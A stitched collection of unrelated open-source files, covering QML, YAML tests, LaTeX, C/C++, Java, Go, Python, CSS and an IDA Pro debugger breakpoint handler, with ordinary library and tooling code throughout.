duration: Kirigami.Units.longDuration
easing.type: Easing.InOutQuad
}
}
ScriptAction {
script: delegate.destroy();
}
}
contentItem: RowLayout {
id: mainLayout
Kirigami.Theme.colorSet: root.Kirigami.Theme.colorSet
width: mainLayout.width
//FIXME: why this is not automatic?
implicitHeight: Math.max(label.implicitHeight, actionButton.implicitHeight)
HoverHandler {
id: hover
}
TapHandler {
acceptedButtons: Qt.LeftButton
onTapped: delegate.close();
}
Timer {
id: timer
running: root.visible && !hover.hovered
onTriggered: delegate.close();
}
Controls.Label {
id: label
Layout.maximumWidth: Math.min(root.parent.width - Kirigami.Units.largeSpacing * 4, implicitWidth)
elide: Text.ElideRight
wrapMode: Text.WordWrap
maximumLineCount: 4
}
Controls.Button {
id: actionButton
visible: text.length > 0
onClicked: {
delegate.close();;
if (delegate.callBack && (typeof delegate.callBack === "function")) {
delegate.callBack();
}
}
}
}
background: Kirigami.ShadowedRectangle {
Kirigami.Theme.colorSet: root.Kirigami.Theme.colorSet
shadow {
size: Kirigami.Units.gridUnit/2
color: Qt.rgba(0, 0, 0, 0.4)
yOffset: 2
}
radius: Kirigami.Units.smallSpacing * 2
color: Kirigami.Theme.backgroundColor
opacity: 0.6
}
}
}
Controls.Overlay.modal: Rectangle {
color: Qt.rgba(0, 0, 0, 0.4)
}
Controls.Overlay.modeless: Item {}
}
|
{
"pile_set_name": "Github"
}
|
---
file:
/etc/php/5.6/cli/conf.d/foo.ini:
exists: false
/etc/php/5.6/fpm/conf.d/foo.ini:
exists: false
/etc/php/5.6/cli/conf.d/bar.ini:
exists: true
filetype: file
owner: root
group: root
mode: "0644"
/etc/php/5.6/fpm/conf.d/bar.ini:
exists: true
filetype: file
owner: root
group: root
mode: "0644"
/etc/php/5.6/cli/conf.d/baz.ini:
exists: false
/etc/php/5.6/fpm/conf.d/baz.ini:
exists: false
|
{
"pile_set_name": "Github"
}
|
% !TEX TS-program = xelatex
% !TEX encoding = UTF-8 Unicode
% -----------------
% START OF PREAMBLE
% -----------------
\documentclass[12pt,a4paper]{scrreprt}
% Commands
\newcommand{\HRule}{\rule{\linewidth}{0.5mm}}
% Packages
\usepackage{fontspec}
\usepackage{eurosym}
\usepackage{amssymb}
\usepackage{mathtools}
\usepackage{upquote}
\usepackage{microtype}
\usepackage{polyglossia}
\usepackage{longtable,booktabs}
\usepackage{graphicx}
\usepackage{grffile}
\usepackage[normalem]{ulem}
\usepackage[setpagesize=false,
unicode=false,
colorlinks=true,
urlcolor=blue,
linkcolor=black]{hyperref}
% Polyglossia settings
\setmainlanguage{english} % or danish
\addto\captionsenglish{%
\renewcommand{\contentsname}{Table of Contents}
}
\addto\captionsdanish{%
\renewcommand{\contentsname}{Indholdsfortegnelse}
}
% Required for syntax highlighting
$highlighting-macros$
% Don't let images overflow the page
% Can still explicit set width/height/options for an image
\makeatletter
\def\maxwidth{\ifdim\Gin@nat@width>\linewidth\linewidth\else\Gin@nat@width\fi}
\def\maxheight{\ifdim\Gin@nat@height>\textheight\textheight\else\Gin@nat@height\fi}
\makeatother
\setkeys{Gin}{width=\maxwidth,height=\maxheight,keepaspectratio}
% Make links footnotes instead of hotlinks
\renewcommand{\href}[2]{#2\footnote{\url{#1}}}
% Avoid problems with \sout in headers with hyperref:
\pdfstringdefDisableCommands{\renewcommand{\sout}{}}
% No paragraph indentation
% and set space between paragraphs
\setlength{\parindent}{0pt}
\setlength{\parskip}{1em plus 2pt minus 1pt}
\setlength{\emergencystretch}{3em} % prevent overfull lines
% -----------------
% END OF PREAMBLE
% -----------------
\begin{document}
\input{cover}
% chapter: 0, section: 1, subsection: 2 etc
\setcounter{secnumdepth}{1}
\setcounter{tocdepth}{1}
\tableofcontents
$body$
\end{document}
|
{
"pile_set_name": "Github"
}
|
#ifndef BOOST_MPL_AUX_RANGE_C_EMPTY_HPP_INCLUDED
#define BOOST_MPL_AUX_RANGE_C_EMPTY_HPP_INCLUDED
// Copyright Aleksey Gurtovoy 2000-2004
//
// Distributed under the Boost Software License, Version 1.0.
// (See accompanying file LICENSE_1_0.txt or copy at
// http://www.boost.org/LICENSE_1_0.txt)
//
// See http://www.boost.org/libs/mpl for documentation.
// $Id$
// $Date$
// $Revision$
#include <boost/mpl/empty_fwd.hpp>
#include <boost/mpl/equal_to.hpp>
#include <boost/mpl/aux_/range_c/tag.hpp>
namespace boost { namespace mpl {
template<>
struct empty_impl< aux::half_open_range_tag >
{
template< typename Range > struct apply
: equal_to<
typename Range::start
, typename Range::finish
>
{
};
};
}}
#endif // BOOST_MPL_AUX_RANGE_C_EMPTY_HPP_INCLUDED
|
{
"pile_set_name": "Github"
}
|
from setuptools import setup
setup(
name='python3_hook',
version='0.0.0',
py_modules=['py3_hook'],
entry_points={'console_scripts': ['python3-hook = py3_hook:main']},
)
|
{
"pile_set_name": "Github"
}
|
/* __mpn_addmul_1 ifunc resolver, Linux/sparc64 version.
Copyright (C) 2017-2020 Free Software Foundation, Inc.
This file is part of the GNU C Library.
The GNU C Library is free software; you can redistribute it and/or
modify it under the terms of the GNU Lesser General Public
License as published by the Free Software Foundation; either
version 2.1 of the License, or (at your option) any later version.
The GNU C Library is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
Lesser General Public License for more details.
You should have received a copy of the GNU Lesser General Public
License along with the GNU C Library; if not, see
<https://www.gnu.org/licenses/>. */
#include <gmp.h>
#include <sparc-ifunc.h>
extern __typeof (mpn_addmul_1) __mpn_addmul_1_vis3 attribute_hidden;
extern __typeof (mpn_addmul_1) __mpn_addmul_1_generic attribute_hidden;
sparc_libm_ifunc (__mpn_addmul_1,
hwcap & HWCAP_SPARC_VIS3
? __mpn_addmul_1_vis3
: __mpn_addmul_1_generic)
|
{
"pile_set_name": "Github"
}
|
/*
* linux/fs/ufs/file.c
*
* Copyright (C) 1998
* Daniel Pirkl <daniel.pirkl@email.cz>
* Charles University, Faculty of Mathematics and Physics
*
* from
*
* linux/fs/ext2/file.c
*
* Copyright (C) 1992, 1993, 1994, 1995
* Remy Card (card@masi.ibp.fr)
* Laboratoire MASI - Institut Blaise Pascal
* Universite Pierre et Marie Curie (Paris VI)
*
* from
*
* linux/fs/minix/file.c
*
* Copyright (C) 1991, 1992 Linus Torvalds
*
* ext2 fs regular file handling primitives
*/
#include <linux/fs.h>
#include "ufs_fs.h"
#include "ufs.h"
/*
* We have mostly NULL's here: the current defaults are ok for
* the ufs filesystem.
*/
const struct file_operations ufs_file_operations = {
.llseek = generic_file_llseek,
.read_iter = generic_file_read_iter,
.write_iter = generic_file_write_iter,
.mmap = generic_file_mmap,
.open = generic_file_open,
.fsync = generic_file_fsync,
.splice_read = generic_file_splice_read,
};
|
{
"pile_set_name": "Github"
}
|
#
# Author: Cunren Liang
# Copyright 2015-present, NASA-JPL/Caltech
#
import os
import glob
import logging
import numpy as np
import isceobj
from isceobj.Alos2Proc.runGeocode import geocode
from isceobj.Alos2Proc.Alos2ProcPublic import getBboxGeo
logger = logging.getLogger('isce.alos2insar.runGeocodeSd')
def runGeocodeSd(self):
'''geocode final products
'''
catalog = isceobj.Catalog.createCatalog(self._insar.procDoc.name)
self.updateParamemetersFromUser()
referenceTrack = self._insar.loadTrack(reference=True)
#secondaryTrack = self._insar.loadTrack(reference=False)
demFile = os.path.abspath(self._insar.demGeo)
sdDir = 'sd'
os.makedirs(sdDir, exist_ok=True)
os.chdir(sdDir)
if self.geocodeListSd == None:
geocodeList = self._insar.multilookCoherenceSd + self._insar.azimuthDeformationSd + self._insar.maskedAzimuthDeformationSd
else:
geocodeList = []
for xxx in self.geocodeListSd:
geocodeList += glob.glob(xxx)
if self.bbox == None:
bbox = getBboxGeo(referenceTrack)
else:
bbox = self.bbox
catalog.addItem('geocode bounding box', bbox, 'runGeocodeSd')
numberRangeLooks = self._insar.numberRangeLooks1 * self._insar.numberRangeLooksSd
numberAzimuthLooks = self._insar.numberAzimuthLooks1 * self._insar.numberAzimuthLooksSd
for inputFile in geocodeList:
if self.geocodeInterpMethodSd == None:
img = isceobj.createImage()
img.load(inputFile + '.xml')
if img.dataType.upper() == 'CFLOAT':
interpMethod = 'sinc'
else:
interpMethod = 'bilinear'
else:
interpMethod = self.geocodeInterpMethodSd.lower()
geocode(referenceTrack, demFile, inputFile, bbox, numberRangeLooks, numberAzimuthLooks, interpMethod, 0, 0)
os.chdir('../')
catalog.printToLog(logger, "runGeocodeSd")
self._insar.procDoc.addAllFromCatalog(catalog)
|
{
"pile_set_name": "Github"
}
|
/*
TagRecommender:
A framework to implement and evaluate algorithms for the recommendation
of tags.
Copyright (C) 2013 Dominik Kowald
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as
published by the Free Software Foundation, either version 3 of the
License, or (at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
package processing;
import java.util.ArrayList;
import java.util.LinkedHashMap;
import java.util.List;
import java.util.Map;
import java.util.Map.Entry;
import java.util.Set;
import java.util.Timer;
import java.util.TreeMap;
import java.util.TreeSet;
import java.util.concurrent.TimeUnit;
import com.google.common.base.Stopwatch;
import com.google.common.primitives.Ints;
import common.DoubleMapComparator;
import common.Bookmark;
import common.MemoryThread;
import common.PerformanceMeasurement;
import common.Utilities;
import cc.mallet.pipe.StringList2FeatureSequence;
import cc.mallet.topics.ParallelTopicModel;
import cc.mallet.types.Alphabet;
import cc.mallet.types.IDSorter;
import cc.mallet.types.Instance;
import cc.mallet.types.InstanceList;
import file.BookmarkWriter;
import file.PredictionFileWriter;
import file.BookmarkReader;
import file.BookmarkSplitter;
public class MalletCalculator {
private final static int MAX_RECOMMENDATIONS = 10;
private final static int MAX_TERMS = 100;
//private final static int NUM_THREADS = 10;
private final static int NUM_ITERATIONS = 2000;
private final static double ALPHA = 0.01;
private final static double BETA = 0.01;
private static double TOPIC_THRESHOLD = 0.001;
private int numTopics;
private List<Map<Integer, Integer>> maps;
private InstanceList instances;
private List<Map<Integer, Double>> docList;
private List<Map<Integer, Double>> topicList;
private Map<Integer, Double> mostPopularTopics;
public MalletCalculator(List<Map<Integer, Integer>> maps, int numTopics) {
this.numTopics = numTopics;
this.maps = maps;
this.mostPopularTopics = new LinkedHashMap<Integer, Double>();
initializeDataStructures();
}
private void initializeDataStructures() {
this.instances = new InstanceList(new StringList2FeatureSequence());
for (Map<Integer, Integer> map : this.maps) {
List<String> tags = new ArrayList<String>();
for (Map.Entry<Integer, Integer> entry : map.entrySet()) {
for (int i = 0; i < entry.getValue(); i++) {
tags.add(entry.getKey().toString());
}
}
Instance inst = new Instance(tags, null, null, null);
inst.setData(tags);
this.instances.addThruPipe(inst);
}
}
private List<Map<Integer, Double>> getMaxTopicsByDocs(ParallelTopicModel LDA, int maxTopicsPerDoc) {
List<Map<Integer, Double>> docList = new ArrayList<Map<Integer, Double>>();
Map<Integer, Double> unsortedMostPopularTopics = new LinkedHashMap<Integer, Double>();
int numDocs = this.instances.size();
for (int doc = 0; doc < numDocs; ++doc) {
Map<Integer, Double> topicList = new LinkedHashMap<Integer, Double>();
double[] topicProbs = LDA.getTopicProbabilities(doc);
//double probSum = 0.0;
for (int topic = 0; topic < topicProbs.length && topic < maxTopicsPerDoc; topic++) {
if (topicProbs[topic] > TOPIC_THRESHOLD) { // TODO
double newTopicProb = topicProbs[topic];
topicList.put(topic, newTopicProb);
Double oldTopicProb = unsortedMostPopularTopics.get(topic);
unsortedMostPopularTopics.put(topic, oldTopicProb == null ? newTopicProb : oldTopicProb.doubleValue() + newTopicProb);
//probSum += topicProbs[topic];
}
}
//System.out.println("Topic Sum: " + probSum);
Map<Integer, Double> sortedTopicList = new TreeMap<Integer, Double>(new DoubleMapComparator(topicList));
sortedTopicList.putAll(topicList);
docList.add(sortedTopicList);
}
Map<Integer, Double> sortedMostPopularTopics = new TreeMap<Integer, Double>(new DoubleMapComparator(unsortedMostPopularTopics));
sortedMostPopularTopics.putAll(unsortedMostPopularTopics);
for (Map.Entry<Integer, Double> entry : sortedMostPopularTopics.entrySet()) {
if (this.mostPopularTopics.size() < MAX_RECOMMENDATIONS) {
this.mostPopularTopics.put(entry.getKey(), entry.getValue());
}
}
return docList;
}
private List<Map<Integer, Double>> getMaxTermsByTopics(ParallelTopicModel LDA, int limit) {
Alphabet alphabet = LDA.getAlphabet();
List<Map<Integer, Double>> topicList = new ArrayList<Map<Integer, Double>>();
int numTopics = LDA.getNumTopics();
List<TreeSet<IDSorter>> sortedWords = LDA.getSortedWords();
for (int topic = 0; topic < numTopics; ++topic) {
Map<Integer, Double> termList = new LinkedHashMap<Integer, Double>();
TreeSet<IDSorter> topicWords = sortedWords.get(topic);
//int i = 0;
double weightSum = 0.0;
for (IDSorter entry : topicWords) {
if (entry.getWeight() > 0.0) {
//if (i++ < limit) {
int tag = Integer.parseInt(alphabet.lookupObject(entry.getID()).toString());
termList.put(tag, entry.getWeight());
weightSum += entry.getWeight();
//} else {
// break;
//}
}
}
// relative values
//double relSum = 0.0;
for (Map.Entry<Integer, Double> entry : termList.entrySet()) {
//relSum += (entry.getValue() / weightSum);
entry.setValue(entry.getValue() / weightSum);
}
//System.out.println("RelSum: " + relSum);
topicList.add(termList);
}
return topicList;
}
public void predictValuesProbs(boolean topicCreation) {
ParallelTopicModel LDA = new ParallelTopicModel(this.numTopics, ALPHA * this.numTopics, BETA); // TODO
LDA.addInstances(this.instances);
LDA.setNumThreads(1);
LDA.setNumIterations(NUM_ITERATIONS);
LDA.setRandomSeed(43);
try {
LDA.estimate();
} catch (Exception e) {
e.printStackTrace();
}
this.docList = getMaxTopicsByDocs(LDA, this.numTopics);
System.out.println("Fetched Doc-List");
this.topicList = !topicCreation ? getMaxTermsByTopics(LDA, MAX_TERMS) : null;
System.out.println("Fetched Topic-List");
}
public Map<Integer, Double> getValueProbsForID(int id, boolean topicCreation) {
Map<Integer, Double> terms = null;
if (id < this.docList.size()) {
Map<Integer, Double> docVals = this.docList.get(id);
if (this.topicList == null) {
return docVals;
}
terms = new LinkedHashMap<Integer, Double>();
for (Map.Entry<Integer, Double> topic : docVals.entrySet()) { // look at each assigned topic
Set<Entry<Integer, Double>> entrySet = this.topicList.get(topic.getKey()).entrySet();
double topicProb = topic.getValue();
for (Map.Entry<Integer, Double> entry : entrySet) { // and its terms
if (topicCreation) {
// DEPRECATED
if (topicProb > TOPIC_THRESHOLD) {
terms.put(entry.getKey(), topicProb);
break; // only use first tag as topic-name with the topic probability
}
} else {
double wordProb = entry.getValue();
Double val = terms.get(entry.getKey());
terms.put(entry.getKey(), val == null ? wordProb * topicProb : val + wordProb * topicProb);
}
}
}
}
return terms;
}
public Map<Integer, Double> getMostPopularTopics() {
return this.mostPopularTopics;
}
// Statics -------------------------------------------------------------------------------------------------------------------------
private static String timeString;
private static Map<Integer, Double> getRankedTagList(BookmarkReader reader, Map<Integer, Double> userMap, Map<Integer, Double> resMap, boolean sorting) {
Map<Integer, Double> resultMap = new LinkedHashMap<Integer, Double>();
if (userMap != null) {
for (Map.Entry<Integer, Double> entry : userMap.entrySet()) {
resultMap.put(entry.getKey(), entry.getValue().doubleValue());
}
}
if (resMap != null) {
for (Map.Entry<Integer, Double> entry : resMap.entrySet()) {
double resVal = entry.getValue().doubleValue();
Double val = resultMap.get(entry.getKey());
resultMap.put(entry.getKey(), val == null ? resVal : val.doubleValue() + resVal);
}
}
if (sorting) {
Map<Integer, Double> sortedResultMap = new TreeMap<Integer, Double>(new DoubleMapComparator(resultMap));
sortedResultMap.putAll(resultMap);
Map<Integer, Double> returnMap = new LinkedHashMap<Integer, Double>(MAX_RECOMMENDATIONS);
int i = 0;
for (Map.Entry<Integer, Double> entry : sortedResultMap.entrySet()) {
if (i++ < MAX_RECOMMENDATIONS) {
returnMap.put(entry.getKey(), entry.getValue());
} else {
break;
}
}
return returnMap;
}
return resultMap;
}
private static List<Map<Integer, Double>> startLdaCreation(BookmarkReader reader, int sampleSize, boolean sorting, int numTopics, boolean userBased, boolean resBased, boolean topicCreation) {
int size = reader.getBookmarks().size();
int trainSize = size - sampleSize;
//int oldTrainSize = trainSize;
Stopwatch timer = new Stopwatch();
timer.start();
MalletCalculator userCalc = null;
List<Map<Integer, Integer>> userMaps = null;
if (userBased) {
userMaps = Utilities.getUserMaps(reader.getBookmarks().subList(0, trainSize));
userCalc = new MalletCalculator(userMaps, numTopics);
userCalc.predictValuesProbs(topicCreation);
System.out.println("User-Training finished");
}
MalletCalculator resCalc = null;
List<Map<Integer, Integer>> resMaps = null;
if (resBased) {
resMaps = Utilities.getResMaps(reader.getBookmarks().subList(0, trainSize));
resCalc = new MalletCalculator(resMaps, numTopics);
resCalc.predictValuesProbs(topicCreation);
System.out.println("Res-Training finished");
}
List<Map<Integer, Double>> results = new ArrayList<Map<Integer, Double>>();
if (topicCreation) {
trainSize = 0;
}
timer.stop();
long trainingTime = timer.elapsed(TimeUnit.MILLISECONDS);
timer.reset();
timer.start();
int mpCount = 0;
for (int i = trainSize; i < size; i++) { // the test set
Bookmark data = reader.getBookmarks().get(i);
int userID = data.getUserID();
int resID = data.getResourceID();
Map<Integer, Double> userPredMap = null;
if (userCalc != null) {
userPredMap = userCalc.getValueProbsForID(userID, topicCreation);
}
Map<Integer, Double> resPredMap = null;
if (resCalc != null) {
//if (i > oldTrainSize) {
// System.out.println("Test-Set");
//}
resPredMap = resCalc.getValueProbsForID(resID, topicCreation);
if (topicCreation && resPredMap == null) {
resPredMap = resCalc.getMostPopularTopics();
mpCount++;
}
}
Map<Integer, Double> map = getRankedTagList(reader, userPredMap, resPredMap, sorting);
results.add(map);
}
timer.stop();
long testTime = timer.elapsed(TimeUnit.MILLISECONDS);
timeString = PerformanceMeasurement.addTimeMeasurement(timeString, true, trainingTime, testTime, (topicCreation ? size : sampleSize));
System.out.println("MpCount: " + mpCount);
return results;
}
// public statics ---------------------------------------------------------------------------------------------------------------------------------
public static BookmarkReader predictSample(String filename, int trainSize, int sampleSize, int numTopics, boolean userBased, boolean resBased) {
Timer timerThread = new Timer();
MemoryThread memoryThread = new MemoryThread();
timerThread.schedule(memoryThread, 0, MemoryThread.TIME_SPAN);
BookmarkReader reader = new BookmarkReader(trainSize, false);
reader.readFile(filename);
List<Map<Integer, Double>> ldaValues = startLdaCreation(reader, sampleSize, true, numTopics, userBased, resBased, false);
List<int[]> predictionValues = new ArrayList<int[]>();
for (int i = 0; i < ldaValues.size(); i++) {
Map<Integer, Double> ldaVal = ldaValues.get(i);
predictionValues.add(Ints.toArray(ldaVal.keySet()));
}
reader.setTestLines(reader.getBookmarks().subList(trainSize, reader.getBookmarks().size()));
PredictionFileWriter writer = new PredictionFileWriter(reader, predictionValues);
writer.writeFile(filename + "_lda_" + numTopics);
timeString = PerformanceMeasurement.addMemoryMeasurement(timeString, false, memoryThread.getMaxMemory());
timerThread.cancel();
Utilities.writeStringToFile("./data/metrics/" + filename + "_lda_" + numTopics + "_TIME.txt", timeString);
return reader;
}
public static void createSample(String filename, short numTopics, boolean tagRec, int trainSize, boolean personalizedTopicCreation) {
Timer timerThread = new Timer();
MemoryThread memoryThread = new MemoryThread();
timerThread.schedule(memoryThread, 0, MemoryThread.TIME_SPAN);
String outputFile = new String(filename) + "_lda_" + numTopics;
if (tagRec) {
TOPIC_THRESHOLD = 0.001;
} else {
TOPIC_THRESHOLD = 0.01;
}
Integer creationTrainSize = (personalizedTopicCreation ? trainSize : null);
BookmarkReader reader = new BookmarkReader(creationTrainSize == null ? 0 : creationTrainSize.intValue(), false);
reader.readFile(filename);
int size = reader.getBookmarks().size();
List<Map<Integer, Double>> ldaValues = startLdaCreation(reader, creationTrainSize == null ? 0 : size - creationTrainSize.intValue(), true, numTopics, false, true, true);
List<int[]> predictionValues = new ArrayList<int[]>();
//List<double[]> probValues = new ArrayList<double[]>();
for (int i = 0; i < ldaValues.size(); i++) {
Map<Integer, Double> ldaVal = ldaValues.get(i);
predictionValues.add(Ints.toArray(ldaVal.keySet()));
//probValues.add(Doubles.toArray(ldaVal.values()));
}
List<Bookmark> userSample = reader.getBookmarks().subList(0, size);
BookmarkWriter.writeSample(reader, userSample, outputFile, predictionValues, false);
//if (creationTrainSize != null) {
List<Bookmark> trainUserSample = reader.getBookmarks().subList(0, trainSize);
List<int[]> trainPredictionValues = predictionValues.subList(0, trainSize);
List<Bookmark> testUserSample = reader.getBookmarks().subList(trainSize, size);
List<int[]> testPredictionValues = predictionValues.subList(trainSize, size);
BookmarkWriter.writeSample(reader, trainUserSample, outputFile + "_train", trainPredictionValues, false);
BookmarkWriter.writeSample(reader, testUserSample, outputFile + "_test", testPredictionValues, false);
//}
timeString = PerformanceMeasurement.addMemoryMeasurement(timeString, false, memoryThread.getMaxMemory());
timerThread.cancel();
Utilities.writeStringToFile("./data/metrics/" + filename + "_lda_creation_" + numTopics + "_TIME.txt", timeString);
}
}
|
{
"pile_set_name": "Github"
}
|
// +build !windows
package system
import (
"io/ioutil"
"os"
"path/filepath"
)
// MkdirAllWithACL is a wrapper for MkdirAll on unix systems.
func MkdirAllWithACL(path string, perm os.FileMode, sddl string) error {
return MkdirAll(path, perm, sddl)
}
// MkdirAll creates a directory named path along with any necessary parents,
// with permission specified by attribute perm for all dir created.
func MkdirAll(path string, perm os.FileMode, sddl string) error {
return os.MkdirAll(path, perm)
}
// IsAbs is a platform-specific wrapper for filepath.IsAbs.
func IsAbs(path string) bool {
return filepath.IsAbs(path)
}
// The functions below here are wrappers for the equivalents in the os and ioutils packages.
// They are passthrough on Unix platforms, and only relevant on Windows.
// CreateSequential creates the named file with mode 0666 (before umask), truncating
// it if it already exists. If successful, methods on the returned
// File can be used for I/O; the associated file descriptor has mode
// O_RDWR.
// If there is an error, it will be of type *PathError.
func CreateSequential(name string) (*os.File, error) {
return os.Create(name)
}
// OpenSequential opens the named file for reading. If successful, methods on
// the returned file can be used for reading; the associated file
// descriptor has mode O_RDONLY.
// If there is an error, it will be of type *PathError.
func OpenSequential(name string) (*os.File, error) {
return os.Open(name)
}
// OpenFileSequential is the generalized open call; most users will use Open
// or Create instead. It opens the named file with specified flag
// (O_RDONLY etc.) and perm, (0666 etc.) if applicable. If successful,
// methods on the returned File can be used for I/O.
// If there is an error, it will be of type *PathError.
func OpenFileSequential(name string, flag int, perm os.FileMode) (*os.File, error) {
return os.OpenFile(name, flag, perm)
}
// TempFileSequential creates a new temporary file in the directory dir
// with a name beginning with prefix, opens the file for reading
// and writing, and returns the resulting *os.File.
// If dir is the empty string, TempFile uses the default directory
// for temporary files (see os.TempDir).
// Multiple programs calling TempFile simultaneously
// will not choose the same file. The caller can use f.Name()
// to find the pathname of the file. It is the caller's responsibility
// to remove the file when no longer needed.
func TempFileSequential(dir, prefix string) (f *os.File, err error) {
return ioutil.TempFile(dir, prefix)
}
|
{
"pile_set_name": "Github"
}
|
body{
font-size: small;
font-family: Verdana,Helvetica,Arical,sans-serif;
line-height: 1.6em;
}
h1,h2{
color: #007e7e;
}
h1{
font-size: 150%;
}
h2{
font-size: 130%;
}
#guarantee{
line-height: 1.9em;
font-style: italic;
font-family: Georgia,"Times New Roman",Times,serif;
color: #444444;
border-color: white;
border-width: 1px;
border-style: dashed;
background-color: #a7cece;
padding: 25px;
margin: 30px;
/*
padding-left: 80px;
margin-right: 250px;
background-image: url(images/background.gif);
background-repeat: no-repeat;
background-position: top left;
*/
}
|
{
"pile_set_name": "Github"
}
|
/* GnomeLocator.java -
Copyright (C) 2004 Free Software Foundation, Inc.
This file is part of GNU Classpath.
GNU Classpath is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2, or (at your option)
any later version.
GNU Classpath is distributed in the hope that it will be useful, but
WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
General Public License for more details.
You should have received a copy of the GNU General Public License
along with GNU Classpath; see the file COPYING. If not, write to the
Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA
02110-1301 USA.
Linking this library statically or dynamically with other modules is
making a combined work based on this library. Thus, the terms and
conditions of the GNU General Public License cover the whole
combination.
As a special exception, the copyright holders of this library give you
permission to link this library with independent modules to produce an
executable, regardless of the license terms of these independent
modules, and to copy and distribute the resulting executable under
terms of your choice, provided that you also meet, for each linked
independent module, the terms and conditions of the license of that
module. An independent module is a module which is not derived from
or based on this library. If you modify this library, you may extend
this exception to your version of the library, but you are not
obligated to do so. If you do not wish to do so, delete this
exception statement from your version. */
package gnu.xml.libxmlj.sax;
import org.xml.sax.Locator;
/**
* SAX Locator implementation that uses libxml2.
*
* @author <a href='mailto:dog@gnu.org'>Chris Burdess</a>
*/
class GnomeLocator
implements Locator
{
// An xmlParserCtxtPtr
private final Object ctx;
// An xmlSAXLocatorPtr
private final Object loc;
GnomeLocator (Object ctx, Object loc)
{
this.ctx = ctx;
this.loc = loc;
if (ctx == null)
{
throw new NullPointerException ("ctx");
}
if (loc == null)
{
throw new NullPointerException ("loc");
}
}
public String getPublicId ()
{
return publicId (ctx, loc);
}
private native String publicId (Object ctx, Object loc);
public String getSystemId ()
{
return systemId (ctx, loc);
}
private native String systemId (Object ctx, Object loc);
public int getLineNumber ()
{
return lineNumber (ctx, loc);
}
private native int lineNumber (Object ctx, Object loc);
public int getColumnNumber ()
{
return columnNumber (ctx, loc);
}
private native int columnNumber (Object ctx, Object loc);
}
|
{
"pile_set_name": "Github"
}
|
import logging
import pickle
import os
import idaapi
import idc
import idautils
from DIE.Lib.DbgImports import StaticImports
from DIE.Lib.IDAConnector import *
from DIE.Lib.DIE_Exceptions import UnrecognizedCallInstruction
import DIE.Lib.DIEDb
# Was user breakpoint flag definition
WAS_USER_BREAKPOINT = 0x1
# Match type definition. used for partial function name matching.
STARTS_WITH = 0
ENDS_WITH = 1
CONTAINS = 2
class BpHandler():
"""
Main breakpoint handling class.
Used to control all breakpoint related operations, such as dynamic\static breakpoints setting,
breakpoint exceptions and serialization.
"""
def __init__(self):
self.logger = logging.getLogger(__name__)
self.iat = StaticImports() # Static IAT
self.die_db = DIE.Lib.DIEDb.get_db() # DIE DB
self.ret_bps = {} # Return breakpoint list
# Walked function list is used with dynamic (runtime) breakpointing
# it keeps track of previously walked functions in order to avoid walking them again.
self.walked_functions = {}
###############################################################################################
# Public properties
@property
def bp_list(self):
return self.die_db.bp_list
@property
def excluded_modules(self):
return self.die_db.excluded_modules
@property
def excluded_funcNames(self):
return self.die_db.excluded_funcNames
@property
def excluded_bp_ea(self):
return self.die_db.excluded_bp_ea
@property
def excluded_funcNames_part(self):
return self.die_db.excluded_funcNames_part
###############################################################################################
# Breakpoint handling functions
def setBPs(self):
"""
Set breakpoints on all CALL and RET instructions in all of the executable sections.
"""
for seg_ea in idautils.Segments():
for head in idautils.Heads(seg_ea, idc.SegEnd(seg_ea)):
if idc.isCode(idc.GetFlags(head)):
# Add BP if instruction is a CALL
if is_call(head):
self.addBP(head)
def unsetBPs(self):
"""
Remove all DIE set BreakPoints
@return: Returns True if successful, otherwise return False
"""
try:
for ea in self.die_db.bp_list:
(bp_flags, bp_desc) = self.die_db.bp_list[ea]
if bp_flags & WAS_USER_BREAKPOINT:
return
idc.DelBpt(ea) # Remove breakpoint
# Remove all return breakpoints
for ea in self.ret_bps:
idc.DelBpt(ea)
self.die_db.bp_list.clear() # Clear the breakpoint list.
self.ret_bps.clear() # Clear the return breakpoint list
# Clear walked function list if necessary.
if self.walked_functions is not None:
self.walked_functions.clear()
except Exception as ex:
self.logger.exception("Failed to remove breakpoints: %s", ex)
def addBP(self, ea, bp_description=None):
"""
Add a breakpoint
@param ea: The location address to add the breakpoint
@param bp_description: A breakpoint description
@return: True if breakpoint was added, otherwise False. Returns -1 if an error occurred.
"""
try:
if idc.CheckBpt(ea) > 0:
# If our breakpoint already exist
if ea in self.die_db.bp_list:
return False
# Must be a user defined breakpoint then..
self.die_db.bp_list[ea] = (WAS_USER_BREAKPOINT, bp_description)
else:
# Check if breakpoint is not excluded.
if self.is_exception_call(ea):
return False
# TODO: better replace with a named tuple.
self.die_db.bp_list[ea] = (0, bp_description)
idc.AddBpt(ea)
return True
except Exception as ex:
self.logger.exception("Could not add breakpoint: %s", ex)
return -1
def removeBP(self, ea):
"""
Remove a breakpoint
@param ea:
@return: True if breakpoint was removed, otherwise False. Returns -1 if an error occurred.
"""
try:
if not ea in self.die_db.bp_list:
return False
(bp_flags, bp_desc) = self.die_db.bp_list[ea]
if bp_flags & WAS_USER_BREAKPOINT:
return True
idc.DelBpt(ea) # Remove breakpoint
self.die_db.bp_list.pop(ea) # Remove from breakpoint list
return True
except Exception as ex:
self.logger.exception("Could not remove breakpoint: %s", ex)
return -1
def addRetBP(self, ea):
"""
Add a breakpoint for a return instruction.
This will place a breakpoint on the next instruction,
e.g - the instruction that will be hit after the function returns.
@param ea: effective address of a CALL instruction
@return: True if breakpoint was successfully added, otherwise return False
"""
if not is_call(ea):
self.logger.error("The instruction at address %s is not recognized as a CALL instruction", hex(ea))
raise UnrecognizedCallInstruction()
next_inst = idc.NextHead(ea)
# Add breakpoint on next instruction
if next_inst not in self.ret_bps:
idc.AddBpt(next_inst)
self.ret_bps[next_inst] = 0
return True
return False
def removeRetBP(self, ea):
"""
Remove a breakpoint for a return instruction
@param ea: effective address of a previously placed Return Breakpoint
@return: True if breakpoint was successfully removed, otherwise return False
"""
if ea in self.ret_bps:
idc.DelBpt(ea)
del self.ret_bps[ea]
